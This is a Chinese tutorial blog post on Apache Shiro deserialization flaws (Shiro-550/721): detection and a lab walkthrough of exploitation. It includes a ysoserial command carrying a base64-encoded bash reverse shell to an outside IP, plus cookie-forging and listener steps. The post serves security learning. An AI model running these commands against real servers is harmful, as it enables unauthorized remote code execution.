Apache Shiro流量特征及漏洞利用

Apache Shiro

一、shiro的相关介绍

1、Shiro概述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权和会话管理等功能。Shiro框架直观、易用,同时也能提供更健壮的安全性。

2、Shiro历史漏洞(Shiro-550)

​ Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对RememberMe的Cookie值,先进行base64解码然后AES序列化,就导致了反序列化RCE漏洞。

3、Shiro历史漏洞(Shiro-721)

​ 由于Apache Shiro Cookie中通过AES-128-CBC模式加密的RememberMe字段存在问题,用户可以通过Padding Oracle加密生成的攻击代码来构造恶意的RememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

二、shiro的识别与发现

1、Shiro组件的识别

登录网站,输入身份信息,点击RememberMe之后,使用bp进行数据抓包,重定向到Repeater页面,发现Request页面里面的Set-Cookie:rememberMe=deleteMe,说明使用了Shiro组件。

![在这里插入图片描述](https://img-blog.csdnimg.cn/4c953f454c2941d1b2c5bd2548d7ceb9.png#pic_center

2、Shiro漏洞检测(dnslog)

使用ShiroScan检测URL地址,查看是否有漏洞,将分析结构展示在dnslog/ceye平台。

在这里插入图片描述

三、Shiro漏洞利用

1、Shiro-550的利用(反弹shell)

使用nc监听一个端口,JavaRuntime配合bash编码(可以将管道符进行base64编码),在线编码地址: Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)

在这里插入图片描述

通过ysoserial中JRMP监听模块,监听一个端口并执行反弹shell命令。java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “要执行的命令”。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"

使用命令生成我们自己主机的cookie,然后复制到Shiro组件的请求体的Cookie那一块。

python shiro-cookie.py 192.168.130.137:1099

最后在本地监听1234端口,就拿到了靶机的权限了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值